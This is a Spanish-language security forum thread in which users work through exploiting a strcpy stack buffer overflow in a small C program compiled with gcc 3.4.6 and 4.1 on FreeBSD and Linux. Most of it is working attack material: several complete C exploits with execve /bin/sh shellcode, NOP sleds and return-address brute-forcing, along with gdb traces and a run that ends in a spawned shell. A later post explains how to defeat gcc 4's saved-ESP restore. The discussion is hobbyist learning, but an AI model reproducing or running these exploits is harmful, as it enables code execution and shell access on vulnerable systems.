No puedo sobrescribir EIP (Linux)

[AlbertoBSD]

viene predeterminada con el sistema  , es la 3.4.6, mirar:

Código [Seleccionar] Expandir

%gcc -v
Using built-in specs.
Configured with: FreeBSD/i386 system compiler
Thread model: posix
gcc version 3.4.6 [FreeBSD] 20060305


No sabia que ahora linux tubiese ese problema... a partir de que version de ; kernel salio eso, alquien tiene  el link. ?

tendre que modificar mis exploits para linux, si se trata de un BOF dentro de main 


Hey zhynar_X, que kernel de Linux usa tu Debian ? y cual es la version de gcc ? para poder verificar todas las dudas aqui susitadas.

[RaiSe]

Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.

[AlbertoBSD]

Bien, ahora tengo 2 o mas problemas entre mano, la verdad me obseciona demasiado este tema.

trate de explotar el codigo mostrado por zhynar_X, sin embargo no he tenido mucho exito 

El codigo vulnerable es:

Código (c) [Seleccionar] Expandir


#include <stdio.h>
#include <string.h>


int main(int argc, char **argv) {


char buff[12];
strcpy(buff,argv[1]);
printf("\nHas escrito:   %s\n",buff);

return 0;


}


BIen creo que con lo que mostrare a continuacion resolvere una dudas sobre como meter una dirccion  en el ret, atravez de la cadena de ingreso. al programa vulnerable.

Es decir... como meto un offset en un string??

Saludos

Bien eso se hace de muchas maneras puedes crear un archivo con el buffer y despues hacer un cat

Código [Seleccionar] Expandir


% ./codigo `cat evilbuffer.txt`


Puedes usar perl, un exploit, shell scritp, pyton, variables de Entorno etc, lo que mejor se te de, pero si sabes programar en C, recomiendo encarecidamente C.

Hice un exploit para tu codigo y no funciona.  ya me trae como loco, he aqui el exploit


eexploit.c

Código (c) [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size = 40;
        int i;
        if (argc!=2)    {
printf("Crea un archivo con el EGG\n");
                printf("Uso: %s <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[1]);
        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (size/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size/2; i++)
                buffer[i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + 3 +i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}



Bien estoy seguro que el codigo vulnerable que compile con el gcc 3.4.6 en cual si le mandamos de AAAABBBBCCCC.... se atora en la H

Código [Seleccionar] Expandir

%gdb ./codigo
GNU gdb 6.1.1 [FreeBSD]
.............
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) printf "%c\n", 0x48
H

de la A a la G hay 28 espacios disponibles lo que hace el exploit que cree, es pide un offset, para jugar con el desplazamiento... ya saben lo clasico de  Aleph One

Con este espacio tan reducido todo tiene que estar mas que calculado. y el buffer que se manda a la aplicacion vulnerable, es en si lo siguente

3 NOP's
25 bytes de Shellcode
3 veces la direccion de retorno (4 bytes de cada una) para un total del buffer de 40 bytes, aunque solo sea nesesaria la Primera como vimos.

Despues ejecute el exploit manualmente y me enfade 

Código [Seleccionar] Expandir


%./eexploit 20
Direcion Ret: 0xbfbfe8d4

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 30
Direcion Ret: 0xbfbfe8ca

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P�迿�迿���
Segmentation fault
%./eexploit 120
Direcion Ret: 0xbfbfe870

Has escrito:   ���1�Ph//shh/bin��PSPTS�;Pp迿p迿p��
Segmentation fault
%./eexploit 200
Direcion Ret: 0xbfbfe820

Has escrito:   ���1�Ph//shh/bin��PSPTS�;P 迿 迿 ��
Segmentation fault



asi que genere otro archivo en c para poder ejecutar el exploit con todas las direcciones posibles

xploitforcebrute.c

Código (c) [Seleccionar] Expandir


#include<stdio.h>

int main(void) {
int i = 0;
char *explo = "/usr/home/luis/eexploit";
char *buffer= (char*) calloc(40,sizeof(char));
while(i<1000) {
printf("Usando: %d\n",i);
sprintf(buffer,"%s %d",explo,i);
system(buffer);
i++;
}
}



Y nada  , se tiene que poder pero no se si algo este mal, si alguien nota algo por favor que lo mensione aqui, por eso repito que lo buffers peque;os estan dificiles de explotar, pero si cabe el shellcode, y la direccion de retorno, estoy con que se debe de poder.

Mi gcc es el 4.1 . La verdad es que tiene más pinta de ser del gcc, que de Linux especificamente. Sería interesante probar un gcc más actual en Freebsd y mirar si hace lo mismo o no. Un saludo.

Si efectivamente es la version de gcc

Código [Seleccionar] Expandir


%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
0x080481ba <main+10>:   push   %ebp
0x080481bb <main+11>:   mov    %esp,%ebp
0x080481bd <main+13>:   push   %ecx
0x080481be <main+14>:   sub    $0x14,%esp
0x080481c1 <main+17>:   mov    0x4(%ecx),%eax
0x080481c4 <main+20>:   add    $0x4,%eax
0x080481c7 <main+23>:   mov    (%eax),%eax
0x080481c9 <main+25>:   sub    $0x8,%esp
0x080481cc <main+28>:   push   %eax
0x080481cd <main+29>:   lea    0xfffffff0(%ebp),%eax
0x080481d0 <main+32>:   push   %eax
0x080481d1 <main+33>:   call   0x8049734 <strcpy>
0x080481d6 <main+38>:   add    $0x10,%esp
0x080481d9 <main+41>:   sub    $0x8,%esp
0x080481dc <main+44>:   lea    0xfffffff0(%ebp),%eax
0x080481df <main+47>:   push   %eax
0x080481e0 <main+48>:   push   $0x805b46a
0x080481e5 <main+53>:   call   0x8049700 <printf>
0x080481ea <main+58>:   add    $0x10,%esp
0x080481ed <main+61>:   mov    $0x0,%eax
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.
(gdb) list
1       #include <stdio.h>
2       #include <string.h>
3
4
5       int main(int argc, char **argv) {
6
7
8               char buff[12];
9               strcpy(buff,argv[1]);
10              printf("\nHas escrito:   %s\n",buff);
(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD
Starting program: /usr/home/luis/codigo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Has escrito:   AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJDDDDD

Program received signal SIGSEGV, Segmentation fault.
0x080481f9 in main (argc=Error accessing memory address 0x44444444: Bad address.
) at codigo.c:15
15      }
(gdb) info register
eax            0x0      0
ecx            0x44444444       1145324612
edx            0x3e     62
ebx            0x2      2
esp            0x44444440       0x44444440
ebp            0x45454545       0x45454545
esi            0xbfbfe958       -1077941928
edi            0x0      0
eip            0x80481f9        0x80481f9
eflags         0x10282  66178
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) printf "%c\n", 0x44
D



Bien ahora se atora en la D, dejo exactamente los 12 bytes de Buffer  , que optimizacion tan cabrona, lo voy a analizar detenidamente para ver que hace exactamente. y poder dar con la forma de explotarlo, pero eso si va a ser imposible que se meta una shellcode en esos 12 bytes... 

Almenos que    huy no lo habia visto es una idea bien loca a lo mejor a alguien ya se le ocurrio, pero bueno se me acaba de ocurrir ahorita que es posible sobre escribir todo los datos y mandar el shell code hasta el final ejemplo del buffer:

AAAAAAAAAAAA + RET'ssss + NOP'ssssssss + shellcode.

esto en Lugar del clasico

NOP'ssssssss + Shellcode + RET'sssss

Lo probare ahora mismo.

[AlbertoBSD]

AHUEVO que funciona.... por lo menos yo no lo havia visto asi 

Este exploit funciona para el buffers pequeños, y funciono a la primera para el codigo de  zhynar_X

eexploit2.c

Código [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        long  nop_addr;
        int offset = 0;
int size;
int bof;
        int i;
        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        nop_addr = get_esp() - offset;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + i] = NOP;

        for (i = 0; i < strlen(shellcode); i++)
                *(buffer + size/2 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",nop_addr);
        execv(vuln[0],vuln);
        return 0;
}


Código [Seleccionar] Expandir


%gcc -o eexploit2 eexploit2.c
%./eexploit
Crea un archivo con el EGG
Uso: ./eexploit <desplazamiento>
%./eexploit2
Crea
Uso: ./eexploit2 <size_BOF_buffer> <size_evil_buffer> <desplazamiento>
%./eexploit2 40 300 200
Direcion Ret: 0xbfbfe810

Has escrito:   迿迿迿迿迿迿迿迿迿迿��������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P����������������������������������������������������������������������������������������������������������������������������
$ exit
%


           


El buffer quedaria asi:

RET'ssss + NOP'ssssssss + shellcode. + NOP'sssss

la version del codigo vulnerable que explote, fue compilada con gcc 3.4.6

Ahora solo resta explotar el codigo compilado con el gcc 4.1

[RaiSe]

Si efectivamente es la version de gcc

Código [Seleccionar] Expandir


%gcc41 codigo.c -o codigo -ggdb -static
%gdb codigo
GNU gdb 6.1.1 [FreeBSD]
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-marcel-freebsd"...
(gdb) disas main
Dump of assembler code for function main:
0x080481b0 <main+0>:    lea    0x4(%esp),%ecx
0x080481b4 <main+4>:    and    $0xfffffff0,%esp
0x080481b7 <main+7>:    pushl  0xfffffffc(%ecx)
***************************
***************************
0x080481f2 <main+66>:   mov    0xfffffffc(%ebp),%ecx
0x080481f5 <main+69>:   leave
0x080481f6 <main+70>:   lea    0xfffffffc(%ecx),%esp
0x080481f9 <main+73>:   ret
End of assembler dump.


El problema es que salva esp en la pila (a traves de ecx), y lo restaura antes de hacer el ret. La forma de explotarlo seria sobreescribir ese valor con una direccion en la que controlemos el contenido. Ejemplo:

- Sobreescribimos esp guardado por 0xdededede (es un caso ficticio).
- 0xdededede es una direccion en la que controlamos su contenido, el cual es: 0xabababab
- En 0xabababab tambien controlamos su contenido, el cual es: la shellcode

Al sobreescribir el esp guardado, antes del ret: %esp = 0xdededede. Hace el ret y salta a 0xabababab, la cual es la direccion de la shellcode.

Cambiando de tema, en ese ejemplo no importa que el buffer sea pequeño. Puedes meter la shellcode en argv[2] por ejemplo, sin limite de tamaño.

Un saludo.

[AlbertoBSD]

Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código [Seleccionar] Expandir


%gcc -o eexploit_gcc41 eexploit_gcc41.c -ggdb -static
%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   


Fue tal vez exesivo pero ya que  al fin se pudo. He aqui el xploit.

Código (c) [Seleccionar] Expandir


#include<stdio.h>
#define NOP 0x90

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80";

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

int  main(int argc, char *argv[])       {
        FILE *archivo;
char *vuln[3] = {"/usr/home/luis/codigo",NULL,NULL};
char *buffer;
        unsigned long nop_addr;
unsigned long ret_addr;
        int offset = 0;
int size,bof,i,len;

        if (argc!=4)    {
printf("Crea \n");
                printf("Uso: %s <size_BOF_buffer> <size_evil_buffer> <desplazamiento>\n", argv[0]);
                return 0;
        }

        offset  = atoi(argv[3]);
bof = atoi(argv[1]);
size = atoi(argv[2]);

        buffer = calloc(size,sizeof(char));
        ret_addr = get_esp() - offset;
nop_addr = ret_addr - 50;

        for (i = 0; i < (bof/4); i++)
                *((long*)buffer + i) = ret_addr;

long temp =  (long)buffer + bof;

for (i = 0; i < ((size-bof)/4); i++)
*((long*)temp + i) = nop_addr;

        for (i = 0; i < size - bof; i++)
                buffer[bof + 60 + i] = NOP;

len = strlen(shellcode);

        for (i = 0; i < len + 1; i++)
                *(buffer + size - len - 1 + i ) = shellcode[i];

        buffer[size - 1] = '\0';
vuln[1] = buffer;
printf("Direcion Ret: 0x%x\n",ret_addr);
printf("Direcion Nop: 0x%x\n",nop_addr);
//printf("Cadena:\n%s\n",buffer);
        execv(vuln[0],vuln);
        return 0;
}


Cualquier duda con cuaquiel cosa seguir el hilo.

[AlbertoBSD]

Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar

Código [Seleccionar] Expandir


%./codigo AAAA

Has escrito:   AAAA
%./codigo AAAABBBB

Has escrito:   AAAABBBB
%./codigo AAAABBBBCCC

Has escrito:   AAAABBBBCCC
%./codigo AAAABBBBCCCC

Has escrito:   AAAABBBBCCCC
Segmentation fault



A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.

[RaiSe]

Algo que note, y la verdad no se si sea la version de mi gcc es que no le caben los 12 bytes reservados mirar

Código [Seleccionar] Expandir


%./codigo AAAA

Has escrito:   AAAA
%./codigo AAAABBBB

Has escrito:   AAAABBBB
%./codigo AAAABBBBCCC

Has escrito:   AAAABBBBCCC
%./codigo AAAABBBBCCCC

Has escrito:   AAAABBBBCCCC
Segmentation fault



A ver si alguien nos puede hechar lamano con esto, de todos modos yo lo vere con mas calma.

Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.

PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?

Un saludo.

[AlbertoBSD]

Si le entran, en el último estás metiendo 13 bytes, porque strcpy añade un null (0x00) al final, y por eso da segmentation fault. Eso que es con el gcc 4 o el 3?.

Gracias por confirmarmelo RaiSe definitivamente me la pase pensando en eso parte de la Tarde de ayer, y cai en la cuenta de que efectivamente el byte NULL (0x00), Ocupa el lugar numero 13 lo cual sobre escribre sobre los datos continuos de la Pila.

Si el binario antes mostrado que se corrompe con el byte numero 13 esta compilado con gcc 4.1.3

PD: El exploit que es para el vulnerable compilado con gcc 4 o el 3?

El ultimo exploit mostrado anteriormente esta hecho para aplicaciones con BoF compiladas con gcc 4.1.3 funciona en mi FreeBSD no se si funcion en Linux no tengo en este momento una distro instalada para comprobarlo, y todos los CD-Live que tengo manejan gcc 3.

Bien, despues de varios intentos he logrado explotar el Bof de zhynar_X, esta vez fue al 4to Intento

Código [Seleccionar] Expandir


%./eexploit_gcc41 40 300 200
Direcion Ret: 0xbfbfe800
Direcion Nop: 0xbfbfe7ce

Has escrito:
%./eexploit_gcc41 40 300 180
Direcion Ret: 0xbfbfe814
Direcion Nop: 0xbfbfe7e2

Has escrito:   迿迿迿迿迿迿迿迿迿迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 160
Direcion Ret: 0xbfbfe828
Direcion Nop: 0xbfbfe7f6

Has escrito:   (迿(迿(迿(迿(迿(迿(迿(迿(迿(迿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿�翿� 翿�翿�翿�翿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
Segmentation fault
%./eexploit_gcc41 40 300 140
Direcion Ret: 0xbfbfe83c
Direcion Nop: 0xbfbfe80a

Has escrito:   <迿<迿<迿<迿<迿<迿<迿<迿<迿<迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿
迿������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PSPTS�;P
$                                                   


El primer intento con el exploit para los BoF compilados con gcc 4.1.3 que mostre, funciona perfectamente tambien en mi sistema pero esto estando en Modo terminal, sin modo grafico.

La funcionalidad del exploit cambia ya que la funcion:

Código (c) [Seleccionar] Expandir

unsigned long get_esp(void)     {
   __asm__("movl %esp,%eax");
}

abquiere un valor de la pila actual en un momento determinado del sistema, y este valor cambia dependiendo de la cantidad de programas que esten en ejecucion en ese momento.

[M3st4ng]

Buenas noches,

Perdonad que vuelva a revivir el post, pero es que llevo unos cuantos dias intentando hacer un stack overflow en linux y me está costando por (creo yo) una chorrada.
El problema que tengo es que cuando introduzco varias "A" como argumento del programa, he observado que una vez sobreescrito todos los bytes correspondientes (por ejemplo 32), el siguiente byte siempre me lo pone a cero (en nuestro caso el 33 seria 0). Esto me está provocando errores a la hora de intentar hacer el overflow sobre la direccion de retorno.

Os pongo un ejemplo para que lo veais.
Esta es la pila del main antes del scrtcpy:

Código [Seleccionar] Expandir

esp            0xbffff694 0xbffff694
ebp            0xbffff6a8 0xbffff6a8

Código [Seleccionar] Expandir


0xbffff694: 0x0011eac0 0x0804842b 0x00288ff4 0x08048420
0xbffff6a4: 0xbffff8a9          0xbffff728 [b]0x00145ce7[/b] 0x00000002


Fijaros en la dirección que resalto porque una vez que ejecuta el scrtpy me sobreescribe su primer byte. Es decir, de 0x00145ce7 pasa a 0x00145c00

Código [Seleccionar] Expandir

0xbffff694: 0xbffff69c 0xbffff8a9 0x41414141 0x41414141
0xbffff6a4: 0x41414141 0x41414141 0x00145c00 0x00000002

Esto hace que el programa no acabe correctamente su ejecución.

Código [Seleccionar] Expandir

0x00145c00 in __libc_start_main () from /lib/libc.so.6

Ya sabia de antes, que cuando metes un scring en la pila, escribe un nulo (0x00) para saber donde acaba. La pregunta es ¿hay alguna manera de quitar esos ceros para poder hacer un overflow? Con windows no me he encontrado problemas, ¿os ha ocurrido esto a vosotros?

Gracias por vuestra atencion.

Datos

Código [Seleccionar] Expandir

2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 10:18:49 UTC 2010 i686 GNU/Linux
gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5)